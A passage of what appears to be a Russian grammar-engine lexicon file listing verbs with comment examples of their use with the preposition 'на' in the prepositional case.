rus_verbs:ПРОДЕМОНСТРИРОВАТЬ{}, // Они хотят подчеркнуть эмоциональную тонкость оппозиционера и на этом фоне продемонстрировать бездушность российской власти (ПРОДЕМОНСТРИРОВАТЬ НА предл) rus_verbs:ОСУЩЕСТВЛЯТЬСЯ{}, // первичный анализ смеси запахов может осуществляться уже на уровне рецепторных нейронов благодаря механизму латерального торможения (ОСУЩЕСТВЛЯТЬСЯ НА) rus_verbs:ВЫДЕЛЯТЬСЯ{}, // Ягоды брусники, резко выделяющиеся своим красным цветом на фоне зелёной листвы, поедаются животными и птицами (ВЫДЕЛЯТЬСЯ НА) rus_verbs:РАСКРЫТЬ{}, // На Украине раскрыто крупное мошенничество в сфере туризма (РАСКРЫТЬ НА) rus_verbs:ОБЖАРИВАТЬСЯ{}, // Омлет обжаривается на сливочном масле с одной стороны, пока он почти полностью не загустеет (ОБЖАРИВАТЬСЯ НА) rus_verbs:ПРИГОТОВЛЯТЬ{}, // Яичница — блюдо европейской кухни, приготовляемое на сковороде из разбитых яиц (ПРИГОТОВЛЯТЬ НА) rus_verbs:РАССАДИТЬ{}, // Женька рассадил игрушки на скамеечке (РАССАДИТЬ НА) rus_verbs:ОБОЖДАТЬ{}, // обожди Анжелу на остановке троллейбуса (ОБОЖДАТЬ НА) rus_verbs:УЧИТЬСЯ{}, // Марина учится на факультете журналистики (УЧИТЬСЯ НА предл) rus_verbs:раскладываться{}, // Созревшие семенные экземпляры раскладывают на солнце или в теплом месте, где они делаются мягкими (РАСКЛАДЫВАТЬСЯ В, НА) rus_verbs:ПОСЛУШАТЬ{}, // Послушайте друзей и врагов на расстоянии! (ПОСЛУШАТЬ НА) rus_verbs:ВЕСТИСЬ{}, // На стороне противника всю ночь велась перегруппировка сил. (ВЕСТИСЬ НА) rus_verbs:ПОИНТЕРЕСОВАТЬСЯ{}, // корреспондент поинтересовался у людей на улице (ПОИНТЕРЕСОВАТЬСЯ НА) rus_verbs:ОТКРЫВАТЬСЯ{}, // Российские биржи открываются на негативном фоне (ОТКРЫВАТЬСЯ НА) rus_verbs:СХОДИТЬ{}, // Вы сходите на следующей остановке? (СХОДИТЬ НА) rus_verbs:ПОГИБНУТЬ{}, // Её отец погиб на войне. (ПОГИБНУТЬ НА) rus_verbs:ВЫЙТИ{}, // Книга выйдет на будущей неделе. (ВЫЙТИ НА предл) rus_verbs:НЕСТИСЬ{}, // Корабль несётся на всех парусах. (НЕСТИСЬ НА предл) rus_verbs:вкалывать{}, // Папа вкалывает на работе, чтобы прокормить семью (вкалывать на) rus_verbs:доказать{}, // разработчики доказали на практике применимость данного подхода к обсчету сцен (доказать на, применимость к) rus_verbs:хулиганить{}, // дозволять кому-то хулиганить на кладбище (хулиганить на) глагол:вычитать{вид:соверш}, инфинитив:вычитать{вид:соверш}, // вычитать на сайте (вычитать на сайте) деепричастие:вычитав{}, rus_verbs:аккомпанировать{}, // он аккомпанировал певцу на губной гармошке (аккомпанировать на) rus_verbs:набрать{}, // статья с заголовком, набранным на компьютере rus_verbs:сделать{}, // книга с иллюстрацией, сделанной на компьютере rus_verbs:развалиться{}, // Антонио развалился на диване rus_verbs:улечься{}, // Антонио улегся на полу rus_verbs:зарубить{}, // Заруби себе на носу. rus_verbs:ценить{}, // Его ценят на заводе. rus_verbs:вернуться{}, // Отец вернулся на закате. rus_verbs:шить{}, // Вы умеете шить на машинке? rus_verbs:бить{}, // Скот бьют на бойне. rus_verbs:выехать{}, // Мы выехали на рассвете. rus_verbs:валяться{}, // На полу валяется бумага. rus_verbs:разложить{}, // она разложила полотенце на песке rus_verbs:заниматься{}, // я занимаюсь на тренажере rus_verbs:позаниматься{}, rus_verbs:порхать{}, // порхать на лугу rus_verbs:пресекать{}, // пресекать на корню rus_verbs:изъясняться{}, // изъясняться на непонятном языке rus_verbs:развесить{}, // развесить на столбах rus_verbs:обрасти{}, // обрасти на южной части rus_verbs:откладываться{}, // откладываться на стенках артерий rus_verbs:уносить{}, // уносить на носилках rus_verbs:проплыть{}, // проплыть на плоту rus_verbs:подъезжать{}, // подъезжать на повозках rus_verbs:пульсировать{}, // пульсировать на лбу rus_verbs:рассесться{}, // птицы расселись на ветках rus_verbs:застопориться{}, // застопориться на первом пункте rus_verbs:изловить{}, // изловить на окраинах rus_verbs:покататься{}, // покататься на машинках rus_verbs:залопотать{}, // залопотать на неизвестном языке rus_verbs:растягивать{}, // растягивать на станке rus_verbs:поделывать{}, // поделывать на пляже rus_verbs:подстеречь{}, // подстеречь на площадке rus_verbs:проектировать{}, // проектировать на компьютере rus_verbs:притулиться{}, // притулиться на кушетке rus_verbs:дозволять{}, // дозволять кому-то хулиганить на кладбище rus_verbs:пострелять{}, // пострелять на испытательном полигоне rus_verbs:засиживаться{}, // засиживаться на работе rus_verbs:нежиться{}, // нежиться на солнышке rus_verbs:притомиться{}, // притомиться на рабочем месте rus_verbs:поселяться{}, // поселяться на чердаке rus_verbs:потягиваться{}, // потягиваться на земле rus_verbs:отлеживаться{}, // отлеживаться на койке rus_verbs:протаранить{}, // протаранить на танке rus_verbs:гарцевать{}, // гарцевать на коне rus_verbs:облупиться{}, // облупиться на носу rus_verbs:оговорить{}, // оговорить на собеседовании rus_verbs:зарегистрироваться{}, // зарегистрироваться на сайте rus_verbs:отпечатать{}, // отпечатать на картоне rus_verbs:сэкономить{}, // сэкономить на мелочах rus_verbs:покатать{}, // покатать на пони rus_verbs:колесить{}, // колесить на старой машине rus_verbs:понастроить{}, // понастроить на участках rus_verbs:поджарить{}, // поджарить на костре rus_verbs:узнаваться{}, // узнаваться на фотографии rus_verbs:отощать{}, // отощать на казенных харчах rus_verbs:редеть{}, // редеть на макушке rus_verbs:оглашать{}, // оглашать на общем собрании rus_verbs:лопотать{}, // лопотать на иврите rus_verbs:пригреть{}, // пригреть на груди rus_verbs:консультироваться{}, // консультироваться на форуме rus_verbs:приноситься{}, // приноситься на одежде rus_verbs:сушиться{}, // сушиться на балконе rus_verbs:наследить{}, // наследить на полу rus_verbs:нагреться{}, // нагреться на солнце rus_verbs:рыбачить{}, // рыбачить на озере rus_verbs:прокатить{}, // прокатить на выборах rus_verbs:запинаться{}, // запинаться на ровном месте rus_verbs:отрубиться{}, // отрубиться на мягкой подушке rus_verbs:заморозить{}, // заморозить на улице rus_verbs:промерзнуть{}, // промерзнуть на открытом воздухе rus_verbs:просохнуть{}, // просохнуть на батарее rus_verbs:развозить{}, // развозить на велосипеде rus_verbs:прикорнуть{}, // прикорнуть на диванчике rus_verbs:отпечататься{}, // отпечататься на коже rus_verbs:выявлять{}, // выявлять на таможне rus_verbs:расставлять{}, // расставлять на башнях rus_verbs:прокрутить{}, // прокрутить на пальце rus_verbs:умываться{}, // умываться на улице rus_verbs:пересказывать{}, // пересказывать на страницах романа rus_verbs:удалять{}, // удалять на пуховике rus_verbs:хозяйничать{}, // хозяйничать на складе rus_verbs:оперировать{}, // оперировать на поле боя rus_verbs:поносить{}, // поносить на голове rus_verbs:замурлыкать{}, // замурлыкать на коленях rus_verbs:передвигать{}, // передвигать на тележке rus_verbs:прочертить{}, // прочертить на земле rus_verbs:колдовать{}, // колдовать на кухне rus_verbs:отвозить{}, // отвозить на казенном транспорте rus_verbs:трахать{}, // трахать на природе rus_verbs:мастерить{}, // мастерить на кухне rus_verbs:ремонтировать{}, // ремонтировать на коленке rus_verbs:развезти{}, // развезти на велосипеде rus_verbs:робеть{}, // робеть на сцене инфинитив:реализовать{ вид:несоверш }, инфинитив:реализовать{ вид:соверш }, // реализовать на сайте глагол:реализовать{ вид:несоверш }, глагол:реализовать{ вид:соверш }, деепричастие:реализовав{}, деепричастие:реализуя{}, rus_verbs:покаяться{}, // покаяться на смертном одре rus_verbs:специализироваться{}, // специализироваться на тестировании rus_verbs:попрыгать{}, // попрыгать на батуте rus_verbs:переписывать{}, // переписывать на столе rus_verbs:расписывать{}, // расписывать на доске rus_verbs:зажимать{}, // зажимать на запястье rus_verbs:практиковаться{}, // практиковаться на мышах rus_verbs:уединиться{}, // уединиться на чердаке rus_verbs:подохнуть{}, // подохнуть на чужбине rus_verbs:приподниматься{}, // приподниматься на руках rus_verbs:уродиться{}, // уродиться на полях rus_verbs:продолжиться{}, // продолжиться на улице rus_verbs:посапывать{}, // посапывать на диване rus_verbs:ободрать{}, // ободрать на спине rus_verbs:скрючиться{}, // скрючиться на песке rus_verbs:тормознуть{}, // тормознуть на перекрестке rus_verbs:лютовать{}, // лютовать на хуторе rus_verbs:зарегистрировать{}, // зарегистрировать на сайте rus_verbs:переждать{}, // переждать на вершине холма rus_verbs:доминировать{}, // доминировать на территории rus_verbs:публиковать{}, // публиковать на сайте rus_verbs:морщить{}, // морщить на лбу rus_verbs:сконцентрироваться{}, // сконцентрироваться на главном rus_verbs:подрабатывать{}, // подрабатывать на рынке rus_verbs:репетировать{}, // репетировать на заднем дворе rus_verbs:подвернуть{}, // подвернуть на брусчатке rus_verbs:зашелестеть{}, // зашелестеть на ветру rus_verbs:расчесывать{}, // расчесывать на спине rus_verbs:одевать{}, // одевать на рынке rus_verbs:испечь{}, // испечь на углях rus_verbs:сбрить{}, // сбрить на затылке rus_verbs:согреться{}, // согреться на печке rus_verbs:замаячить{}, // замаячить на горизонте rus_verbs:пересчитывать{}, // пересчитывать на пальцах rus_verbs:галдеть{}, // галдеть на крыльце rus_verbs:переплыть{}, // переплыть на плоту rus_verbs:передохнуть{}, // передохнуть на скамейке rus_verbs:прижиться{}, // прижиться на ферме rus_verbs:переправляться{}, // переправляться на плотах rus_verbs:накупить{}, // накупить на блошином рынке rus_verbs:проторчать{}, // проторчать на виду rus_verbs:мокнуть{}, // мокнуть на улице rus_verbs:застукать{}, // застукать на камбузе rus_verbs:завязывать{}, // завязывать на ботинках rus_verbs:повисать{}, // повисать на ветке rus_verbs:подвизаться{}, // подвизаться на государственной службе rus_verbs:кормиться{}, // кормиться на болоте rus_verbs:покурить{}, // покурить на улице rus_verbs:зимовать{}, // зимовать на болотах rus_verbs:застегивать{}, // застегивать на гимнастерке rus_verbs:поигрывать{}, // поигрывать на гитаре rus_verbs:погореть{}, // погореть на махинациях с землей rus_verbs:кувыркаться{}, // кувыркаться на батуте rus_verbs:похрапывать{}, // похрапывать на диване rus_verbs:пригревать{}, // пригревать на груди rus_verbs:завязнуть{}, // завязнуть на болоте rus_verbs:шастать{}, // шастать на втором этаже rus_verbs:заночевать{}, // заночевать на сеновале rus_verbs:отсиживаться{}, // отсиживаться на чердаке rus_verbs:мчать{}, // мчать на байке rus_verbs:сгнить{}, // сгнить на урановых рудниках rus_verbs:тренировать{}, // тренировать на манекенах rus_verbs:повеселиться{}, // повеселиться на празднике rus_verbs:измучиться{}, // измучиться на болоте rus_verbs:увянуть{}, // увянуть на подоконнике rus_verbs:раскрутить{}, // раскрутить на оси rus_verbs:выцвести{}, // выцвести на солнечном свету rus_verbs:изготовлять{}, // изготовлять на коленке rus_verbs:гнездиться{}, // гнездиться на вершине дерева rus_verbs:разогнаться{}, // разогнаться на мотоцикле rus_verbs:излагаться{}, // излагаться на страницах доклада rus_verbs:сконцентрировать{}, // сконцентрировать на левом фланге rus_verbs:расчесать{}, // расчесать на макушке rus_verbs:плавиться{}, // плавиться на солнце rus_verbs:редактировать{}, // редактировать на ноутбуке rus_verbs:подскакивать{}, // подскакивать на месте rus_verbs:покупаться{}, // покупаться на рынке rus_verbs:промышлять{}, // промышлять на мелководье rus_verbs:приобретаться{}, // приобретаться на распродажах rus_verbs:наигрывать{}, // наигрывать на банджо rus_verbs:маневрировать{}, // маневрировать на флангах rus_verbs:запечатлеться{}, // запечатлеться на записях камер rus_verbs:укрывать{}, // укрывать на чердаке rus_verbs:подорваться{}, // подорваться на фугасе rus_verbs:закрепиться{}, // закрепиться на занятых позициях rus_verbs:громыхать{}, // громыхать на кухне инфинитив:подвигаться{ вид:соверш }, глагол:подвигаться{ вид:соверш }, // подвигаться на полу деепричастие:подвигавшись{}, rus_verbs:добываться{}, // добываться на территории Анголы rus_verbs:приплясывать{}, // приплясывать на сцене rus_verbs:доживать{}, // доживать на больничной койке rus_verbs:отпраздновать{}, // отпраздновать на работе rus_verbs:сгубить{}, // сгубить на корню rus_verbs:схоронить{}, // схоронить на кладбище rus_verbs:тускнеть{}, // тускнеть на солнце rus_verbs:скопить{}, // скопить на счету rus_verbs:помыть{}, // помыть на своем этаже rus_verbs:пороть{}, // пороть на конюшне rus_verbs:наличествовать{}, // наличествовать на складе rus_verbs:нащупывать{}, // нащупывать на полке rus_verbs:змеиться{}, // змеиться на дне rus_verbs:пожелтеть{}, // пожелтеть на солнце rus_verbs:заостриться{}, // заостриться на конце rus_verbs:свезти{}, // свезти на поле rus_verbs:прочувствовать{}, // прочувствовать на своей шкуре rus_verbs:подкрутить{}, // подкрутить на приборной панели rus_verbs:рубиться{}, // рубиться на мечах rus_verbs:сиживать{}, // сиживать на крыльце rus_verbs:тараторить{}, // тараторить на иностранном языке rus_verbs:теплеть{}, // теплеть на сердце rus_verbs:покачаться{}, // покачаться на ветке rus_verbs:сосредоточиваться{}, // сосредоточиваться на главной задаче rus_verbs:развязывать{}, // развязывать на ботинках rus_verbs:подвозить{}, // подвозить на мотороллере rus_verbs:вышивать{}, // вышивать на рубашке rus_verbs:скупать{}, // скупать на открытом рынке rus_verbs:оформлять{}, // оформлять на встрече rus_verbs:распускаться{}, // распускаться на клумбах rus_verbs:прогореть{}, // прогореть на спекуляциях rus_verbs:приползти{}, // приползти на коленях rus_verbs:загореть{}, // загореть на пляже rus_verbs:остудить{}, // остудить на балконе rus_verbs:нарвать{}, // нарвать на поляне rus_verbs:издохнуть{}, // издохнуть на болоте rus_verbs:разгружать{}, // разгружать на дороге rus_verbs:произрастать{}, // произрастать на болотах rus_verbs:разуться{}, // разуться на коврике rus_verbs:сооружать{}, // сооружать на площади rus_verbs:зачитывать{}, // зачитывать на митинге rus_verbs:уместиться{}, // уместиться на ладони rus_verbs:закупить{}, // закупить на рынке rus_verbs:горланить{}, // горланить на улице rus_verbs:экономить{}, // экономить на спичках rus_verbs:исправлять{}, // исправлять на доске rus_verbs:расслабляться{}, // расслабляться на лежаке rus_verbs:скапливаться{}, // скапливаться на крыше rus_verbs:сплетничать{}, // сплетничать на скамеечке rus_verbs:отъезжать{}, // отъезжать на лимузине rus_verbs:отчитывать{}, // отчитывать на собрании rus_verbs:сфокусировать{}, // сфокусировать на удаленной точке rus_verbs:потчевать{}, // потчевать на лаврах rus_verbs:окопаться{}, // окопаться на окраине rus_verbs:загорать{}, // загорать на пляже rus_verbs:обгореть{}, // обгореть на солнце rus_verbs:распознавать{}, // распознавать на фотографии rus_verbs:заплетаться{}, // заплетаться на макушке rus_verbs:перегреться{}, // перегреться на жаре rus_verbs:подметать{}, // подметать на крыльце rus_verbs:нарисоваться{}, // нарисоваться на горизонте rus_verbs:проскакивать{}, // проскакивать на экране rus_verbs:попивать{}, // попивать на балконе чай rus_verbs:отплывать{}, // отплывать на лодке rus_verbs:чирикать{}, // чирикать на ветках rus_verbs:скупить{}, // скупить на оптовых базах rus_verbs:наколоть{}, // наколоть на коже картинку rus_verbs:созревать{}, // созревать на ветке rus_verbs:проколоться{}, // проколоться на мелочи rus_verbs:крутнуться{}, // крутнуться на заднем колесе rus_verbs:переночевать{}, // переночевать на постоялом дворе rus_verbs:концентрироваться{}, // концентрироваться на фильтре rus_verbs:одичать{}, // одичать на хуторе rus_verbs:спасаться{}, // спасаются на лодке rus_verbs:доказываться{}, // доказываться на страницах книги rus_verbs:познаваться{}, // познаваться на ринге rus_verbs:замыкаться{}, // замыкаться на металлическом предмете rus_verbs:заприметить{}, // заприметить на пригорке rus_verbs:продержать{}, // продержать на морозе rus_verbs:форсировать{}, // форсировать на плотах rus_verbs:сохнуть{}, // сохнуть на солнце rus_verbs:выявить{}, // выявить на поверхности rus_verbs:заседать{}, // заседать на кафедре rus_verbs:расплачиваться{}, // расплачиваться на выходе rus_verbs:светлеть{}, // светлеть на горизонте rus_verbs:залепетать{}, // залепетать на незнакомом языке rus_verbs:подсчитывать{}, // подсчитывать на пальцах rus_verbs:зарыть{}, // зарыть на пустыре rus_verbs:сформироваться{}, // сформироваться на месте rus_verbs:развертываться{}, // развертываться на площадке rus_verbs:набивать{}, // набивать на манекенах rus_verbs:замерзать{}, // замерзать на ветру rus_verbs:схватывать{}, // схватывать на лету rus_verbs:перевестись{}, // перевестись на Руси rus_verbs:смешивать{}, // смешивать на блюдце rus_verbs:прождать{}, // прождать на входе rus_verbs:мерзнуть{}, // мерзнуть на ветру rus_verbs:растирать{}, // растирать на коже rus_verbs:переспать{}, // переспал на сеновале rus_verbs:рассекать{}, // рассекать на скутере rus_verbs:опровергнуть{}, // опровергнуть на высшем уровне rus_verbs:дрыхнуть{}, // дрыхнуть на диване rus_verbs:распять{}, // распять на кресте rus_verbs:запечься{}, // запечься на костре rus_verbs:застилать{}, // застилать на балконе rus_verbs:сыскаться{}, // сыскаться на огороде rus_verbs:разориться{}, // разориться на продаже спичек rus_verbs:переделать{}, // переделать на станке rus_verbs:разъяснять{}, // разъяснять на страницах газеты rus_verbs:поседеть{}, // поседеть на висках rus_verbs:протащить{}, // протащить на спине rus_verbs:осуществиться{}, // осуществиться на деле rus_verbs:селиться{}, // селиться на окраине rus_verbs:оплачивать{}, // оплачивать на первой кассе rus_verbs:переворачивать{}, // переворачивать на сковородке rus_verbs:упражняться{}, // упражняться на батуте rus_verbs:испробовать{}, // испробовать на себе rus_verbs:разгладиться{}, // разгладиться на спине rus_verbs:рисоваться{}, // рисоваться на стекле rus_verbs:продрогнуть{}, // продрогнуть на морозе rus_verbs:пометить{}, // пометить на доске rus_verbs:приютить{}, // приютить на чердаке rus_verbs:избирать{}, // избирать на первых свободных выборах rus_verbs:затеваться{}, // затеваться на матче rus_verbs:уплывать{}, // уплывать на катере rus_verbs:замерцать{}, // замерцать на рекламном щите rus_verbs:фиксироваться{}, // фиксироваться на достигнутом уровне rus_verbs:запираться{}, // запираться на чердаке rus_verbs:загубить{}, // загубить на корню rus_verbs:развеяться{}, // развеяться на природе rus_verbs:съезжаться{}, // съезжаться на лимузинах rus_verbs:потанцевать{}, // потанцевать на могиле rus_verbs:дохнуть{}, // дохнуть на солнце rus_verbs:припарковаться{}, // припарковаться на газоне rus_verbs:отхватить{}, // отхватить на распродаже rus_verbs:остывать{}, // остывать на улице rus_verbs:переваривать{}, // переваривать на высокой ветке rus_verbs:подвесить{}, // подвесить на веревке rus_verbs:хвастать{}, // хвастать на работе rus_verbs:отрабатывать{}, // отрабатывать на уборке урожая rus_verbs:разлечься{}, // разлечься на полу rus_verbs:очертить{}, // очертить на полу rus_verbs:председательствовать{}, // председательствовать на собрании rus_verbs:сконфузиться{}, // сконфузиться на сцене rus_verbs:выявляться{}, // выявляться на ринге rus_verbs:крутануться{}, // крутануться на заднем колесе rus_verbs:караулить{}, // караулить на входе rus_verbs:перечислять{}, // перечислять на пальцах rus_verbs:обрабатывать{}, // обрабатывать на станке rus_verbs:настигать{}, // настигать на берегу rus_verbs:разгуливать{}, // разгуливать на берегу rus_verbs:насиловать{}, // насиловать на пляже rus_verbs:поредеть{}, // поредеть на макушке rus_verbs:учитывать{}, // учитывать на балансе rus_verbs:зарождаться{}, // зарождаться на большой глубине rus_verbs:распространять{}, // распространять на сайтах rus_verbs:пировать{}, // пировать на вершине холма rus_verbs:начертать{}, // начертать на стене rus_verbs:расцветать{}, // расцветать на подоконнике rus_verbs:умнеть{}, // умнеть на глазах rus_verbs:царствовать{}, // царствовать на окраине rus_verbs:закрутиться{}, // закрутиться на работе rus_verbs:отработать{}, // отработать на шахте rus_verbs:полечь{}, // полечь на поле брани rus_verbs:щебетать{}, // щебетать на ветке rus_verbs:подчеркиваться{}, // подчеркиваться на сайте rus_verbs:посеять{}, // посеять на другом поле rus_verbs:замечаться{}, // замечаться на пастбище rus_verbs:просчитать{}, // просчитать на пальцах rus_verbs:голосовать{}, // голосовать на трассе rus_verbs:маяться{}, // маяться на пляже rus_verbs:сколотить{}, // сколотить на службе rus_verbs:обретаться{}, // обретаться на чужбине rus_verbs:обливаться{}, // обливаться на улице rus_verbs:катать{}, // катать на лошадке rus_verbs:припрятать{}, // припрятать на теле rus_verbs:запаниковать{}, // запаниковать на экзамене инфинитив:слетать{ вид:соверш }, глагол:слетать{ вид:соверш }, // слетать на частном самолете деепричастие:слетав{}, rus_verbs:срубить{}, // срубить денег на спекуляциях rus_verbs:зажигаться{}, // зажигаться на улице rus_verbs:жарить{}, // жарить на углях rus_verbs:накапливаться{}, // накапливаться на счету rus_verbs:распуститься{}, // распуститься на грядке rus_verbs:рассаживаться{}, // рассаживаться на местах rus_verbs:странствовать{}, // странствовать на лошади rus_verbs:осматриваться{}, // осматриваться на месте rus_verbs:разворачивать{}, // разворачивать на завоеванной территории rus_verbs:согревать{}, // согревать на вершине горы rus_verbs:заскучать{}, // заскучать на вахте rus_verbs:перекусить{}, // перекусить на бегу rus_verbs:приплыть{}, // приплыть на тримаране rus_verbs:зажигать{}, // зажигать на танцах rus_verbs:закопать{}, // закопать на поляне rus_verbs:стирать{}, // стирать на берегу rus_verbs:подстерегать{}, // подстерегать на подходе rus_verbs:погулять{}, // погулять на свадьбе rus_verbs:огласить{}, // огласить на митинге rus_verbs:разбогатеть{}, // разбогатеть на прииске rus_verbs:грохотать{}, // грохотать на чердаке rus_verbs:расположить{}, // расположить на границе rus_verbs:реализоваться{}, // реализоваться на новой работе rus_verbs:застывать{}, // застывать на морозе rus_verbs:запечатлеть{}, // запечатлеть на пленке rus_verbs:тренироваться{}, // тренироваться на манекене rus_verbs:поспорить{}, // поспорить на совещании rus_verbs:затягивать{}, // затягивать на поясе rus_verbs:зиждиться{}, // зиждиться на твердой основе rus_verbs:построиться{}, // построиться на песке rus_verbs:надрываться{}, // надрываться на работе rus_verbs:закипать{}, // закипать на плите rus_verbs:затонуть{}, // затонуть на мелководье rus_verbs:побыть{}, // побыть на фазенде rus_verbs:сгорать{}, // сгорать на солнце инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать на улице деепричастие:пописав{ aux stress="поп^исав" }, rus_verbs:подраться{}, // подраться на сцене rus_verbs:заправить{}, // заправить на последней заправке rus_verbs:обозначаться{}, // обозначаться на карте rus_verbs:просиживать{}, // просиживать на берегу rus_verbs:начертить{}, // начертить на листке rus_verbs:тормозить{}, // тормозить на льду rus_verbs:затевать{}, // затевать на космической базе rus_verbs:задерживать{}, // задерживать на таможне rus_verbs:прилетать{}, // прилетать на частном самолете rus_verbs:полулежать{}, // полулежать на травке rus_verbs:ерзать{}, // ерзать на табуретке rus_verbs:покопаться{}, // покопаться на складе rus_verbs:подвезти{}, // подвезти на машине rus_verbs:полежать{}, // полежать на водном матрасе rus_verbs:стыть{}, // стыть на улице rus_verbs:стынуть{}, // стынуть на улице rus_verbs:скреститься{}, // скреститься на груди rus_verbs:припарковать{}, // припарковать на стоянке rus_verbs:здороваться{}, // здороваться на кафедре rus_verbs:нацарапать{}, // нацарапать на парте rus_verbs:откопать{}, // откопать на поляне rus_verbs:смастерить{}, // смастерить на коленках rus_verbs:довезти{}, // довезти на машине rus_verbs:избивать{}, // избивать на крыше rus_verbs:сварить{}, // сварить на костре rus_verbs:истребить{}, // истребить на корню rus_verbs:раскопать{}, // раскопать на болоте rus_verbs:попить{}, // попить на кухне rus_verbs:заправлять{}, // заправлять на базе rus_verbs:кушать{}, // кушать на кухне rus_verbs:замолкать{}, // замолкать на половине фразы rus_verbs:измеряться{}, // измеряться на весах rus_verbs:сбываться{}, // сбываться на самом деле rus_verbs:изображаться{}, // изображается на сцене rus_verbs:фиксировать{}, // фиксировать на данной высоте rus_verbs:ослаблять{}, // ослаблять на шее rus_verbs:зреть{}, // зреть на грядке rus_verbs:зеленеть{}, // зеленеть на грядке rus_verbs:критиковать{}, // критиковать на страницах газеты rus_verbs:облететь{}, // облететь на самолете rus_verbs:заразиться{}, // заразиться на работе rus_verbs:рассеять{}, // рассеять на территории rus_verbs:печься{}, // печься на костре rus_verbs:поспать{}, // поспать на земле rus_verbs:сплетаться{}, // сплетаться на макушке rus_verbs:удерживаться{}, // удерживаться на расстоянии rus_verbs:помешаться{}, // помешаться на чистоте rus_verbs:ликвидировать{}, // ликвидировать на полигоне rus_verbs:проваляться{}, // проваляться на диване rus_verbs:лечиться{}, // лечиться на дому rus_verbs:обработать{}, // обработать на станке rus_verbs:защелкнуть{}, // защелкнуть на руках rus_verbs:разносить{}, // разносить на одежде rus_verbs:чесать{}, // чесать на груди rus_verbs:наладить{}, // наладить на конвейере выпуск rus_verbs:отряхнуться{}, // отряхнуться на улице rus_verbs:разыгрываться{}, // разыгрываться на скачках rus_verbs:обеспечиваться{}, // обеспечиваться на выгодных условиях rus_verbs:греться{}, // греться на вокзале rus_verbs:засидеться{}, // засидеться на одном месте rus_verbs:материализоваться{}, // материализоваться на границе rus_verbs:рассеиваться{}, // рассеиваться на высоте вершин rus_verbs:перевозить{}, // перевозить на платформе rus_verbs:поиграть{}, // поиграть на скрипке rus_verbs:потоптаться{}, // потоптаться на одном месте rus_verbs:переправиться{}, // переправиться на плоту rus_verbs:забрезжить{}, // забрезжить на горизонте rus_verbs:завывать{}, // завывать на опушке rus_verbs:заваривать{}, // заваривать на кухоньке rus_verbs:перемещаться{}, // перемещаться на спасательном плоту инфинитив:писаться{ aux stress="пис^аться" }, глагол:писаться{ aux stress="пис^аться" }, // писаться на бланке rus_verbs:праздновать{}, // праздновать на улицах rus_verbs:обучить{}, // обучить на корте rus_verbs:орудовать{}, // орудовать на складе rus_verbs:подрасти{}, // подрасти на глядке rus_verbs:шелестеть{}, // шелестеть на ветру rus_verbs:раздеваться{}, // раздеваться на публике rus_verbs:пообедать{}, // пообедать на газоне rus_verbs:жрать{}, // жрать на помойке rus_verbs:исполняться{}, // исполняться на флейте rus_verbs:похолодать{}, // похолодать на улице rus_verbs:гнить{}, // гнить на каторге rus_verbs:прослушать{}, // прослушать на концерте rus_verbs:совещаться{}, // совещаться на заседании rus_verbs:покачивать{}, // покачивать на волнах rus_verbs:отсидеть{}, // отсидеть на гаупвахте rus_verbs:формировать{}, // формировать на секретной базе rus_verbs:захрапеть{}, // захрапеть на кровати rus_verbs:объехать{}, // объехать на попутке rus_verbs:поселить{}, // поселить на верхних этажах rus_verbs:заворочаться{}, // заворочаться на сене rus_verbs:напрятать{}, // напрятать на теле rus_verbs:очухаться{}, // очухаться на земле rus_verbs:полистать{}, // полистать на досуге rus_verbs:завертеть{}, // завертеть на шесте rus_verbs:печатать{}, // печатать на ноуте rus_verbs:отыскаться{}, // отыскаться на складе rus_verbs:зафиксировать{}, // зафиксировать на пленке rus_verbs:расстилаться{}, // расстилаться на столе rus_verbs:заместить{}, // заместить на посту rus_verbs:угасать{}, // угасать на неуправляемом корабле rus_verbs:сразить{}, // сразить на ринге rus_verbs:расплываться{}, // расплываться на жаре rus_verbs:сосчитать{}, // сосчитать на пальцах rus_verbs:сгуститься{}, // сгуститься на небольшой высоте rus_verbs:цитировать{}, // цитировать на плите rus_verbs:ориентироваться{}, // ориентироваться на местности rus_verbs:расширить{}, // расширить на другом конце rus_verbs:обтереть{}, // обтереть на стоянке rus_verbs:подстрелить{}, // подстрелить на охоте rus_verbs:растереть{}, // растереть на твердой поверхности rus_verbs:подавлять{}, // подавлять на первом этапе rus_verbs:смешиваться{}, // смешиваться на поверхности // инфинитив:вычитать{ aux stress="в^ычитать" }, глагол:вычитать{ aux stress="в^ычитать" }, // вычитать на сайте // деепричастие:вычитав{}, rus_verbs:сократиться{}, // сократиться на втором этапе rus_verbs:занервничать{}, // занервничать на экзамене rus_verbs:соприкоснуться{}, // соприкоснуться на трассе rus_verbs:обозначить{}, // обозначить на плане rus_verbs:обучаться{}, // обучаться на производстве rus_verbs:снизиться{}, // снизиться на большой высоте rus_verbs:простудиться{}, // простудиться на ветру rus_verbs:поддерживаться{}, // поддерживается на встрече rus_verbs:уплыть{}, // уплыть на лодочке rus_verbs:резвиться{}, // резвиться на песочке rus_verbs:поерзать{}, // поерзать на скамеечке rus_verbs:похвастаться{}, // похвастаться на встрече rus_verbs:знакомиться{}, // знакомиться на уроке rus_verbs:проплывать{}, // проплывать на катере rus_verbs:засесть{}, // засесть на чердаке rus_verbs:подцепить{}, // подцепить на дискотеке rus_verbs:обыскать{}, // обыскать на входе rus_verbs:оправдаться{}, // оправдаться на суде rus_verbs:раскрываться{}, // раскрываться на сцене rus_verbs:одеваться{}, // одеваться на вещевом рынке rus_verbs:засветиться{}, // засветиться на фотографиях rus_verbs:употребляться{}, // употребляться на птицефабриках rus_verbs:грабить{}, // грабить на пустыре rus_verbs:гонять{}, // гонять на повышенных оборотах rus_verbs:развеваться{}, // развеваться на древке rus_verbs:основываться{}, // основываться на безусловных фактах rus_verbs:допрашивать{}, // допрашивать на базе rus_verbs:проработать{}, // проработать на стройке rus_verbs:сосредоточить{}, // сосредоточить на месте rus_verbs:сочинять{}, // сочинять на ходу rus_verbs:ползать{}, // ползать на камне rus_verbs:раскинуться{}, // раскинуться на пустыре rus_verbs:уставать{}, // уставать на работе rus_verbs:укрепить{}, // укрепить на конце rus_verbs:образовывать{}, // образовывать на открытом воздухе взрывоопасную смесь rus_verbs:одобрять{}, // одобрять на словах rus_verbs:приговорить{}, // приговорить на заседании тройки rus_verbs:чернеть{}, // чернеть на свету rus_verbs:гнуть{}, // гнуть на станке rus_verbs:размещаться{}, // размещаться на бирже rus_verbs:соорудить{}, // соорудить на даче rus_verbs:пастись{}, // пастись на лугу rus_verbs:формироваться{}, // формироваться на дне rus_verbs:таить{}, // таить на дне rus_verbs:приостановиться{}, // приостановиться на середине 